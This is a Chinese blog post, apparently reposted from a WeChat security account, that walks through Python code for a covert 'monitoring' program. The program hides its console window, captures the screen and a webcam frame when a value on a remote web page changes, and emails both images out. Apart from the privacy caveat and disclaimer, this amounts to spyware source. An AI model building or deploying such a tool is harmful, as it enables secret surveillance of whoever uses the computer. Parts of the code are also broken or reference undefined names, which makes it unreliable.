Python监控电脑开机并拉起摄像头捕获内容发送至邮箱

admin 2024年10月10日21:13:35评论21 views字数 3629阅读12分5秒阅读模式

随着信息技术的不断发展,我们可以通过自动化监控系统来检测计算机的使用情况,并在特定事件发生时触发通知。这篇文章将详细解释如何使用Python实现一个自动化的监控系统,该系统具备屏幕截图、摄像头拍摄以及通过电子邮件发送通知的功能。代码不仅可以实时监控,还能够根据外部网页的数据状态决定是否执行监控操作。

背景介绍

监控系统的应用场景非常广泛。例如,企业中可以使用监控系统来防止未经授权的人员访问某些重要设备,个人用户则可以通过它监控电脑的使用状态,并接收到相应的通知。在本文中,我们使用Python结合如pyautoguiOpenCVsmtplib等来构建一个简单但功能齐全的系统,能够完成以下任务:

  1. 截取屏幕截图并保存到本地;

  2. 使用摄像头拍摄图像;

  3. 通过电子邮件发送通知,附带截图和拍摄的图像;

  4. 实时监测网页数据,根据特定条件触发上述操作。

关键技术实现

1. 基本的库导入
import ctypes
import sys
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.header import Header
import pyautogui
import os
import cv2
import socket
import time
import requests
from bs4 import BeautifulSoup
  • ctypes:用于隐藏控制台窗口,仅在Windows系统上生效。

  • sys:检查操作系统类型。

  • smtplibemail.mime等模块:负责发送带有附件的电子邮件。

  • pyautogui:用于捕获屏幕截图。

  • os:处理文件路径及操作系统相关任务。

  • cv2:使用OpenCV来捕获摄像头图像。

  • socket:用于检查网络连接状态。

  • time:用于设置任务的时间间隔。

  • requests 和 BeautifulSoup:用于从网页提取数据,作为触发监控的条件。

2. 隐藏控制台窗口

为了提高程序的隐蔽性,程序在Windows系统上启动时隐藏控制台窗口。

if sys.platform.startswith('win'):
SW_HIDE = 0
info = ctypes.windll.kernel32.GetConsoleWindow()
if info != 0:
ctypes.windll.user32.ShowWindow(info, SW_HIDE)

这个部分使用了Windows API,通过ctypes库隐藏了控制台窗口,确保程序可以在后台悄无声息地运行。

3. 邮件发送配置

系统设计的核心功能之一是通过邮件发送通知。为此,我们需要配置邮件服务器信息:

smtp_info = {
'server': 'smtp.qq.com',
'port': 465, # 使用SSL加密端口
'username': '[email protected]', # 替换为你的邮箱地址
'password': 'your-password', # 替换为你的邮箱授权码
}

程序使用QQ邮箱的SMTP服务器,并通过SSL端口发送邮件。这里需要注意的是,邮箱密码通常使用的是授权码,而不是登录密码。

4. 捕获屏幕截图和摄像头图像

系统具备自动截屏和摄像头拍摄功能,分别使用pyautogui和OpenCV来实现。

def capture_screenshot(path):
pyautogui.screenshot(path)
print(f"屏幕截图已保存至{path}")
def capture_image_from_camera(path):
cap = cv2.VideoCapture(0)
if cap.isOpened():
ret, frame = cap.read()
cap.release()
if ret:
cv2.imwrite(path, frame)
print(f"摄像头图像已保存至{path}")
else:
print("捕获图像失败")
else:
print("无法打开摄像头")
  • capture_screenshot(path):使用pyautogui截取当前屏幕,并将图片保存到指定路径。

  • capture_image_from_camera(path):使用OpenCV打开摄像头,并捕获一帧图像,保存到指定路径。

5. 发送带有附件的电子邮件

捕获截图和摄像头图像后,系统会将这些文件作为附件,通过邮件发送给用户。

def send_email_with_attachments(screenshot_path, camera_capture_path):
msg = MIMEMultipart()
msg['From'] = Header(sender_receiver)
msg['To'] = Header(sender_receiver)
msg['Subject'] = Header(subject)
msg.attach(MIMEText(body, 'plain', 'utf-8'))

# 添加附件
for path in [screenshot_path, camera_capture_path]:
with open(path, 'rb') as file:
part = MIMEImage(file.read(), name=os.path.basename(path))
msg.attach(part)

try:
with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server:
server.login(smtp_info['username'], smtp_info['password'])
server.sendmail(sender_receiver, sender_receiver, msg.as_string())
server.quit()
print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!")
except Exception as e:
print(f"邮件发送失败: {e}")
6. 网页内容监控

系统通过检查指定网页上的数据值来决定是否触发截图和拍摄。requests库用于发起网页请求,BeautifulSoup用于解析网页内容。

def check_url():
global last_value
try:
response = requests.get(url, timeout=5)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
info_div = soup.find('div class_='info')
if info_div:
span_text = info_div.find('span', class_='tit').text.strip()
if span_text == f"【{target_value}】" and span_text != last_value:
last_value = span_text
return True
else:
return False
except requests.RequestException as e:
print(f"请求错误:{e}")
return False

该函数会定期从网页中抓取数据,并与目标值进行比较,当发现匹配时,执行后续操作。

7. 主循环逻辑
def main():
global last_value
last_value = None
while True:
if check_url():
capture_screenshot(screenshot_path)
capture_image_from_camera(camera_capture_path)

if not is_connected():
time.sleep(60)
continue

send_email_with_attachments(screenshot_path, camera_capture_path)
os.remove(screenshot_path)
os.remove(camera_capture_path)
time.sleep(20)

main()函数是整个程序的控制中心。它使用一个无限循环,每隔20秒检查一次网页内容,如果检测到目标条件触发(例如特定数值),则截图、拍摄并发送邮件。

总结

本文展示了如何利用Python构建一个自动化监控系统,该系统能够定期检查网页信息,在符合条件时执行捕捉和通知任务。此类系统具有广泛的应用前景,可以用于远程监控、信息安全、家庭安防等多个领域。

但需要注意的是,该系统涉及隐私和安全问题,使用时需遵循当地的法律法规,确保不侵犯他人隐私。

原文始发于微信公众号(HackTips):Python监控电脑开机并拉起摄像头捕获内容发送至邮箱

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日21:13:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Python监控电脑开机并拉起摄像头捕获内容发送至邮箱https://cn-sec.com/archives/3246838.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息